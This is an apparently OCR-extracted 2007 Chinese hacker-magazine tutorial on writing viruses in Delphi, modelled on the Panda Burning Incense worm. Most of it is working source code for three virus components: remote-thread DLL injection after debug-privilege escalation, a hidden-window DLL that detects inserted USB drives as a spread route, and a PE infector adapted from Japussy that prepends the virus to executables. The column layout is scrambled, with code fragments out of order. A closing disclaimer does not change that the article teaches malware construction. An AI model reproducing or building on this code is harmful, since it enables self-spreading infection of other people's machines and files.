编程解析PROGRAMMING ANALYSE 〉栏目编辑 〉socket 〉socket@hacker.com.cn 2007.04 黑客防线 HACKER DEFENCE ww w.h acke r.c om.cn 89 再谈Delphi编写病毒程序 从 "熊猫烧香" 肆虐网络来看, 病毒编写的门 槛在日益降低, 用Delphi编写的病毒也很多了. 相信 有很多人和我一样正在学习Delphi编程, 那么也同样 会遇到各种各样的问题, 在此就将我的一些经验和 大家分享一下, 也算给各位兄弟姐妹一个捷径. 正 所谓没吃过猪肉, 还没见过猪跑吗?没做过病毒, 还没中过病毒吗?对病毒的原理, 相信大家肯定也 都有所了解, 这里我就说说三个经常有人问的方 法:远程线程插入、 无窗体DLL复制病毒体到U盘喝 感染PE文件. 相信这三个问题解决后, 剩下的实现 靠大家的想象力一定能做得更好. 无论是从启动还是进程的隐蔽性上来看, "熊 猫烧香" 做得并不是很好, 如果用线程插入, 势必 会造成更大的影响. 线程插入虽然不是什么新鲜的 技术, 连我都能掌握, 更说明这不是什么高深的技 巧了, 但鉴于有更多的新手, 我也就只好再班门弄 斧了, 高手别笑话啊! 还是先简单介绍一下远程线程插入的基本原 理. 当一个进程在运行时可以创建很多自己的本地 线程来执行各种功能, 远程线程插入就是我们向目 标进程中创建一个新线程来执行我们自己的代码, 而代码就放在DLL中. 过程大致是这样的, 创建一 So ck et: 目前, "熊猫烧香" (Worm.Nimaya) 病毒正在互联网上肆虐, 该病毒又称 "武汉男生" , 随后 又化身为 "金猪报喜" , 它是一个感染型蠕虫病毒, 能感染系统中exe、 com、 pif、 src、 HTML、 ASP等文件, 还能中止大量的反病毒软件进程并且会删除扩展名为GHO的文件, 被感染的用户系统中所有.exe可执行文件 的图标均变为 "熊猫烧香" . 同时, 受感染的计算机还会出现蓝屏、 频繁重启, 以及系统硬盘中数据文件 被破坏等现象. 它还会在中毒电脑中所有的网页文件尾部添加病毒代码. 一些网站编辑人员的电脑如果被 感染, 上传网页到网站后, 就会导致用户浏览这些网站时也被病毒感染. 现在该病毒针对企业网络的攻势 愈演愈烈, 甚至出现了企业用户求助超过个人用户的状况. 这意味着, 单从感染计算机台数来看, 该病毒 感染的企业局域网内电脑数量已经比个人电脑多了数十倍, 其危害性不言而喻. 不过凡事都要辩证的看, 若从编程的角度来说, 其实现思路还是很值得我们借鉴的, 所以本期我们特别组织了三篇再现 "熊猫烧香" 的文章, 从各个角度 "还魂" 熊猫, 吸纳其编程精粹, 提高我们的编程技巧. 但大家仍然要记住技术的两 面性, 千万不要将其用于非法之途哦! 适合读者 : 编程爱好者 前置知识 : Delphi 以 "熊猫烧香" 的名义, 个injection.exe先提升Debug权限, 以便可以对某些系 统进程有访问权限, 然后injection.exe将我们的DLL路 径告诉目标程序, 再使目标程序使用LoadLibrary加载DLL, 即可在目标进程中创建一个DLL中的线程 了. 说白了, 就是找一个进程调用我们的DLL. 实 现过程大致如此, 大家还是先看一下代码吧. 文/图 切格瓦拉 远程线程插入 //根据上面所述过程先提升Debug权限, 这里有前辈 准备好的代码, 涉及3个重要API函数,OpenProcessToken、 LookupPrivilegeValue和AdjustTokenPrivileges, 具体功能可以 查阅 MSDN functionEnabledDebugPrivilege(constEnabled: Boolean) :Boolean; var hTk:THandle;//打开令牌句柄 rtnTemp:Dword;//调整权限时返回的值 TokenPri:TOKEN_PRIVILEGES; const SE_DEBUG?=?'SeDebugPrivilege'; begin Result:=False; //获取进程令牌句柄, 设置权限 if(Ope nProc e ssToke n (G e tCurre n tProc e ss(), TOKEN_ADJUST_PRIVILEGES,hTk))then begin TokenPri.PrivilegeCount:=1; //获取 Luid(局部唯一的标识符) LookupPrivilegeValue(nil,SE_DEBUG,TokenPri.Privileges [0].Luid); if Enabled then TokenPri.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED else 再谈Delphi编写病毒程序 编程解析PROGRAMMING ANALYSE 〉栏目编辑 〉socket 〉socket@hacker.com.cn 2007.04 黑客防线 HACKER DEFENCE 90 ww w.h acke r.c om.cn 提升权限可以最大程度上地操作目标进程而不 至于遇到某些进程无法插入. 在提升权限后, 就要 将我们的DLL路径等信息写入到目标进程的内存空 间里. 这一步要做的是获得目标进程句柄, 让目标 程序分配内存, 把DLL路径写入分配好的内存. 此 时需要用到3个函数OpenProcess、 VirtualAllocEx和WriteProcessMemory. OpenProcess是为了得到目标进 程句柄并获得进程远程读写权限的 ; VirtualAllocEx是 在目标进程中分配空间用来存放DLL的路径, 以便 让目标进程找到我们的DLL ; WriteProcessMemory是将DLL的文件名作为参数写入分配好的目标进程内 存. 将参数写入目标进程内存后, 我们就可以创建 远程线程了, 可以使用CreateRemoteThread函数 (这 个函数也是目前杀毒软件判断的一个依据了) , 先 来看看这个函数的使用和参数. //这个是查找进程ID的过程, 第三个参数返回PID, 关 键是下一个函数 procedure FindAProcess(const AFilename: string; const PathMatch: Boolean; var ProcessID: DWORD); var lppe: TProcessEntry32; SsHandle: Thandle; FoundAProc, FoundOK: boolean; begin ProcessID :=0; SsHandle : = CreateToolHelp3 2Sn apShot (TH32CS_SnapProcess, 0); FoundAProc := Process32First(Sshandle, lppe); while FoundAProc do begin if PathMatch then FoundOK := AnsiStricomp(lppe.szExefile, PChar (AFilename)) = 0 else FoundOK := AnsiStricomp(PChar(ExtractFilename (lppe.szExefile)), PChar(ExtractFilename(AFilename))) = 0; if FoundOK then begin ProcessID := lppe.th32ProcessID; break; end; FoundAProc := Process32Next(SsHandle, lppe); end; CloseHandle(SsHandle); end; //重要的线程插入过程函数, 要慢慢消化哦 function AttachToProcess(const HostFile, GuestFile: string): DWORD; var hRemoteProcess: THandle;//目标进程句柄 dwRemoteProcessId: DWORD;//目标进程PID iSize: DWORD;//DLL文件名长度 pszLibFileRemote: Pointer; //目标进程中分配内存的入口 iReturnCode: Boolean;//是否写入内存成功 TempVar: DWORD; pfnStartAddr: TFNThreadStartRoutine; //LoadLibrary入口 pszLibAFilename: PwideChar;//内存中存入DLL名称 begin Result := 0; EnabledDebugPrivilege(True);//提升Debug权限 Getmem(pszLibAFilename, Length(GuestFile) * 2 + 1); //分配内存 StringToWideChar(GuestFile, pszLibAFilename, Length (GuestFile) * 2 + 1); //写入 DLL路径和名称 TokenPri.Privileges[0].Attributes:=0; rtnTemp:=0; //设置新的权限 AdjustTokenPrivileges(hTk,False,TokenPri,sizeof (TokenPri),nil,rtnTemp); Result:=GetLastError=ERROR_SUCCESS; CloseHandle(hTk); end; end; function CreateRemoteThread (hProcess: THandle; //目标进程句柄, 这就是为什么我们获得目标进程 句柄的原因 lpThreadAttributes: Pointer; //主线程的安全性设置 nil即可,NT专用 dwStackSize: DWORD; //堆栈大小, 设置0代表使用目标进程默认堆栈大小 lpStartAddress: TFNThreadStartRoutine; //开始执行函数的地址 lpParameter: Pointer; //上面这行要执行的函数的参数 dwCreationFlags: DWORD; //线程建立的初始标记,运行或挂起,0表示立即 运行 var lpThreadId: DWORD //新生成的线程分配的线程ID ):THandle; stdcall; 我们先看看参数lpStartAddress开始执行函数的 地址. 我们知道, 要调用DLL需要使用LoadLibrary, 这个函数实际是从Kernel32.dll中的Loadlibrary扩展来 的. 幸亏大部分程序都会预先调用Kernel32.dll, 所以 Kernel32.dll里面同一个函数在所有的进程里地址都是 一样的, 也就是说LoadLibrary在injection.exe里的地址 和在目标进程里的地址是一样的, 这样一来我们只 要在创建远程线程时把lp StartAddres s设置为 LoadLibrary的入口,lpParameter传入我们要插入的 DLL路径, 那么就成功创建了我们的DLL线程了. 结 合下面的代码, 我们来具体理解一下. 编程解析PROGRAMMING ANALYSE 〉栏目编辑 〉socket 〉socket@hacker.com.cn 2007.04 黑客防线 HACKER DEFENCE ww w.h acke r.c om.cn 91 系统消 息, 二是判 断传 播. 这里有 必要 先说说 Windows的消息机制, 更详细的内容, 大家可以翻 阅相关资料. 在DOS时代, 编写程序都会关注程序 运行的过程, 而到了Windows中, 我们就要响应事 件, 事件是无序的, 比如你可以随机点击程序窗口 的任意按钮或下拉菜单等组件, 然而你所作的点击 操作会被系统翻译成消息传给窗口, 窗口再对这个 点击消息做响应的反应, 这就是简单的消息机制. 同样, U盘的插拔也是一个事件, 也会产生消息, 我们要做的就是捕获这个消息. 举个例子, 在一个 有窗体的程序中, 我们只要在窗体中定义下面的一 个私有过程 : "procedure WMDeviceChange(var msg : TMessage); message WM_DEVICECHANGE;" , 其 过程如下. iSize:= (1 + lstrlenW(pszLibAFilename)) * sizeof (WCHAR); //计算 DLL名称长度 FindAProcess(HostFile, False, dwRemoteProcessID); //得到目标进程PID h R e m o t e P r o c e s s : = O p e n P r o c e s s (PROCESS_ALL_ACCESS,FALSE, dwRemoteProcessId); //根据目标进程PID得到目标进程句柄并允许所有操作 pszLibFileRemote:=PWIDESTRING(VirtualAllocEx (hRemoteProcess,nil,iSize,MEM_COMMIT,PAGE_READWRITE)); //分配目标进程内存,返回指针 TempVar := 0; iReturnCode:=WriteProcessMemory(hRemoteProcess, pszLibFileRemote,pszLibAFilename,iSize,TempVar); //再将DLL的文件名作为参数写入目标进程内存 if iReturnCode then begin pfnStartAddr:=GetProcAddress(GetModuleHandle ('Kernel32'),'LoadLibraryW'); TempVar := 0; //获得Kernel32.dll中LoadLibraryW(加载DLL用)的地 址, 这个地址是使用Kernel32.dll的程序所公用的 Result:=CreateRemoteThread(hRemoteProcess,nil,0, pfnStartAddr,pszLibFileRemote,0,TempVar); //建立远程线程. 结合文章中的参数解释可以看到, 第一个参数hRemoteProcess是目标进程句柄, pfnStartAddr 是LoadLibrary地址, pszLibFileRemote存放的是我们的DLL的 路径, 这样就成功实现了远程线程插入 end; Freemem(pszLibAFilename); end; 调用方法为 : AttachToProcess('notepad.exe', extractfilepath(paramstr(0))+'non_form_dll.dll');. 这 里我们用记事本做测试, 插入non_form_dll.dll, DLL 写完整路径, 同时non_form_dll.dll也是下面文章中要 用到的无窗体DLL. 我已经建好了injection.exe和non_form_dll.dll文件, 在随文的资料中已提供, 这里 就不贴出来占用篇幅了, 大家自己去试试吧, 读懂 了其实也不难吧? 以 "熊猫烧香" 来说, 其传播方式是一个亮 点, 它不仅可以通过U盘等可移动存储设备和局域 网弱口令共享传播, 还会修改所有的HTM、 HTML、 PHP、 JSP和ASPX文件, 在末尾添加一段代码来调用 有恶意代码的网页来传播, 导致大面积感染. 下面我们再看看通过U盘等可移动存储设备传 播的方法. U盘传播的原理是监听系统消息, 一旦 有新设备加入便判断是否为可移动设备, 是则做相 应的复制等操作. 关键要做地就是两步, 一是监听 无窗体程序复制病毒体到U盘procedure TForm1.WMDeviceChange(var Msg: TMessage); var driver: char;//定义盘符 const DBT_DEVICEARRIVAL = $8000 ; //有新设备的消息编号 begin case Msg.WParam of DBT_DEVICEARRIVAL ://有设备安装完毕 for driver :='C' to 'Z' do //遍历所有盘符 begin case GetDriveType(PChar(driver of //获得驱动器类型 DRIVE_REMOVABLE: //如果是可移动驱动器则执行以下代码 Begin MessageBox(0,pchar('有可移动设备插入!'),pchar('提示 '),0); //这里是处理过程,可以自己写 end; end; end; 我们只要把这段代码放在程序中即可监听U盘 的插拔(同理也可以监视光驱开关等设备变化), 这 段代码已经很老了, 就不多解释了, 可是很多人却 要问为什么这段代码放在一个无窗口的程序中就不 能用了?这就是我们要讲的重点, 不能用就是因为 没有窗体, 我们先看看Win32 API消息TMSG在Windows单元中的定义. tagMSG = packed record hwnd:HWND; //窗口句柄 message: UINT; //消息常量标识符 wParam:WPARAM; //32位消息的特定附加信息 编程解析PROGRAMMING ANALYSE 〉栏目编辑 〉socket 〉socket@hacker.com.cn 2007.04 黑客防线 HACKER DEFENCE 92 ww w.h acke r.c om.cn 很显然, 消息需要窗口句柄, 所以DLL或程序 如果没有窗口, 当然就不会响应DBT_DEVICEARRIVAL 的消息了. 难道我们要引用一个Forms单元来创建窗 口以获得窗口吗?这样一来程序的体积会增大不少, 不过解决方法还是有的. 我们引用Forms无非是想建 一个窗口, TForms是VLC给我们封装好的类, 我们要 从源头创建窗口, 可以使用API函数CreateWindowEx (可引用Windows单元) 来创建窗口. 在窗体创建之前要先注册窗体类. 注册窗体类 就是使用TwndClass数据结构存放窗口的信息, 比如 消息处理函数指针、图标等,然后使用CreateWindowEx创建我们设置好的窗体并返回窗体 句柄. 刚才我们说TwndClass数据结构有消息处理函 数指针, 只要我们将TMSG的回调函数置换为Delphi V C L 封装 好的T M e s s a g e 的回 调函 数, 即WMDeviceChange就可以处理消息了. 好像很复杂的 样子, 是不是有点怕了?幸好Delphi在classes.pas单 元中为我们提供了一个函数AllocateHWnd(Method: TWndMethod), 此函数封装了以上所述过程, 如果 不想深入研究就用现成的吧, 该函数创建一个隐藏 的窗口并返回窗口句柄, 其中Method是我们的消息 回调函数, 即WMDeviceChange, 这样就可以响应来 自此窗口的消息了. 我们写一个类来实现创建窗口 和监听处理消息, 实现代码如下所示. DeallocateHWnd(FWindowHandle); inherited Destroy; end; //消息处理过程 procedure TMyObject.WMDeviceChange(var Msg: TMessage); var driver: char;//定义盘符 const DBT_DEVICEARRIVAL=$8000;//有新设备的消息编号 begin if Msg.WParam=DBT_DEVICEARRIVAL then //有设备安装完毕 for driver :='C' to 'Z' do //遍历所有盘符 begin case GetDriveType(PChar(driver of //获得驱动器类型 DRIVE_REMOVABLE: //如果是可移动驱动器则执行以下代码 begin MessageBox(0,pchar('有可移动设备插入!'),pchar('提示'),0); //这里写处理过程 end; end; end; end; var USB:TMyObject; //定义一个实体 SMsg: TMsg; //原始消息 hThreadHandle: Dword; dwThreadID: Dword; //线程主过程, 用在线程插入后产生 procedure ThreadProc; begin MessageBox(0,pchar('测试线程插入成功'),pchar('提示'),0); USB:=TMyObject.Create; //创建一个USB对象 while GetMessage(SMsg, 0, 0, 0) do begin //什么事都不做, 仅仅为了捕获消息 end; end; lParam: LPARAM; //32位消息的特定附加信息 time: DWORD; //消息创建时的时间 pt: TPoint; //消息创建时的鼠标位置 end; type TMyObject = class //类名 private FWindowHandle: HWND; //创建的隐藏窗口的句柄 procedure WMDeviceChange(var Msg: TMessage);mes- sage WM_DEVICECHANGE; //消息处理过程 public constructor Create(); // destructor Destroy;override; end; constructor TMyObject.Create(); begin inherited Create(); FWindowHandle := AllocateHWnd(WMDeviceChange); //在类创建的时候就创建一个隐藏窗口并返回窗口句 柄和设置回调函数 end; destructor TMyObject.Destroy; begin 我已经将上述代码写在non_form_dll.dll中, 只要利用第一个线程插入的例子, 插入U盘就会 弹出 "有可移动设备插入!" , 这样就实现了在 DLL中监听窗口消息, 如果是后门程序是不是更 隐藏了呢? 看到这是不是觉得标题说无窗体其实也是假 的, 并非无窗体而是不使用Delphi封装好的Form, 代 之以使用API的AllocateHWnd创建隐藏窗体. 不过在 编写DLL、 服务程序或者EXE程序时, 利用这种方法 可以去掉Forms、 Dialogs等单元, 从而大大减小 Delphi编译后的程序大小, 还是比较实用的. "熊猫烧香" 之所以叫熊猫烧香是因为有很多 PE文件感染 编程解析PROGRAMMING ANALYSE 〉栏目编辑 〉socket 〉socket@hacker.com.cn 2007.04 黑客防线 HACKER DEFENCE ww w.h acke r.c om.cn 93 熊猫在烧香!为什么有这么多熊猫在烧香, 就是因 为所有的EXE可执行文件都被它感染了. "熊猫烧 香" 是Viking蠕虫的变种, 感染原理同样也是修改PE 文件. PE就是Portable Executable的缩写, 也就是 Windows可执行文件的统一格式或模式. PE文件结 构由文件头(Header)、 节表(Section Table)、 节(Section)和其它数据组成, 结构如下. PE文件 DOS文件头 NT文件头 标志 文件头 可选头部 数据目录 节表 节 资源(图标, 鼠标等) 感染可执行文件最简单的方法就是把两个程序 拼合在一起, 病毒程序在前, 宿主程序在后, 当运 行合并后的程序时会运行病毒程序, 病毒程序再把 宿主程序释放出来运行. 我们先用Delphi创建一个最 简单的窗体程序test.exe作为宿主程序被感染, 再创 建一个Infect.exe. Infect.exe感染test.exe的过程大致是 这样的, 先把宿主程序test.exe复制到一个文件流 SrcStream中, 然后检查这个SrcStream最后4个字节是 否为$44444444 (感染标记, 也可以写成别的) , 是则表示已感染跳过. 如果没有感染标记则把Infect. exe复制到另一个文件流SelfStream, 再将SelfStream和SrcStream合并到一个内存流DstStream中, 最后再添 加4个字节$44444444的感染标记并保存, 这样就完 成了对test.exe的最简单的感染. 以下是Japussy的部 分关键代码, 我做了修改和逐行注释, 完整的演示 代码在附件中 (如果想得到Japussy的全部代码, 大 家可自行到网上搜索) . const VSize = 396800; //本程序的大小, 未经压缩 ID= $44444444; //感染标记,数字可以随便写 //在流之间复制 procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; procedure InfectOneFile(FileName: string); var SelfStream, SrcStream: TFileStream; //两个文件流一个存放自己, 一个存放宿主程序 DstStream: TMemoryStream; //将自己和宿主程序合并后存入这个流 iID: LongInt; //取得程序的最后4个字节的数据与感染标记比对 Infected, IsPE: Boolean; //判断是否已被感染和是否为PE文件格式 i: Integer; Buf: array[0..1] of Char; begin try Infected := False; IsPE:= False; //创建宿主程序到SrcStream SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头, PE头偏移量一般小于$108(十六进制) begin SrcStream.Seek(i, soFromBeginning); //将流指向文件开始 SrcStream.Read(Buf, 2);//每两个字节读取到buf // # 80 # 69 就是字母 PE,PE头以 PE字母开头 if (Buf[0] = #80) and (Buf[1] = #69) then begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //将流指向文件最后面的倒数第4个字节 SrcStream.Read(iID, 4); //把这 4 个字节读出来判断是不是 $44444444,即感 染标记 if (iID = ID) or (SrcStream.Size > 1024000) then //大于 10M的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; DstStream := TMemoryStream.Create; try //将本程序写入SelfStream流SelfStream :=TFileStream.Create(ParamStr(0), fmOpenRead); try //写入本程序,即病毒体到合并流 CopyStream(SelfStream, 0, DstStream, 0, VSize); //再接着写入宿主程序 CopyStream(SrcStream, 0, DstStream, VSize, SrcStream. Size); //将流指向流的结尾 编程解析PROGRAMMING ANALYSE 〉栏目编辑 〉socket 〉socket@hacker.com.cn 2007.04 黑客防线 HACKER DEFENCE 94 ww w.h acke r.c om.cn DstStream.Seek(0, soFromEnd); iID := $44444444; DstStream.Write(iID, 4); //写入4个字节的感染标记 finally SelfStream.Free; end; finally SrcStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件,保存文件 DstStream.Free; end; except; end; end; procedure ExtractFile(FileName: string); var sStream: TFileStream;//感染后程序保存为流 DstStream:TMemoryStream;//分离出宿主程序保存为流 begin try DstStream:=TMemoryStream.Create; sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); //将感染后的程序写入sStream try //跳过头部的病毒部分, 将指针指向宿主文件的开始 sStream.Seek(VSize, 0); //将宿主文件从sStream分离并复制到DstStream-4, 因 为有 4位的感染标记 DstStream.CopyFrom(sStream,sStream.Size - VSize-4); DstStream.SaveToFile(FileName);//保存 finally sStream.Free; DstStream.Free; end; except end; end; procedure TForm1.Button1Click(Sender: TObject); var sStream: TFileStream; iID: LongInt; SI: STARTUPINFO; Pi: PROCESS_INFORMATION; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); sStream.Seek(-4,2); sStream.Read(iID, 4); if iID = ID then begin ExtractFile('test1.exe'); //最好写完整路径 //创建新进程运行分离出的宿主程序 ShellExecute(handle,'','test1.exe','',nil,SW_SHOWNORMAL); end else showmessage('没有感染不能释放'); sStream.Free; except end; end; procedure TForm1.Button2Click(Sender: TObject); begin InfectOneFile('test.exe') ; //最好写完整路径 end; 如图1和图2所示, 点击感染后会将Infect.exe写入test.exe. "熊猫烧香" 也是利用相同的原理遍历 所有PE文件并感染成烧香图标的. 当我们运 行感染后的test.exe时, 会 先运行Infect. exe, 然后点击 释放 并运行, 便会释放test1. exe并执行, 如图3所示. 释放 的过程是先判 断是否有感染 标记 , 再 把感 染后的程序复制到sStream, 然后把sStream从病毒体 结束处 (即病毒体大小) 到sStream结尾前4个字节 这一段分离出来便是宿主文件. 图1 感染前 图2 感染后 图3 释放宿主文件 简单的PE文件感染就是这样的. 当然, 为了更好地 隐藏病毒程序, 我们还可以将宿主程序的图标取出来 分别写入, 这样就不会改变感染后程序的图标了. 以上 我只是写了示范代码, 像熊猫烧香那样感染整个硬盘 的可执行文件, 做得那么绝就不好了. 现在为止, 我们就已经了解了病毒目前常用的 3个方法的Delphi实现, 其原理也适合其它编程语 言. 如 果大 家能充 分消 化其 中的方 法, 就会对 Windows运行机制有一个更深刻的了解, 也会对编 程有所帮助的. 最后再说明一下, 本文纯属技术探 讨, 大家切记, 千万不要将这些技术用于编写那些 破坏性的病毒, 于己于人都没有益处.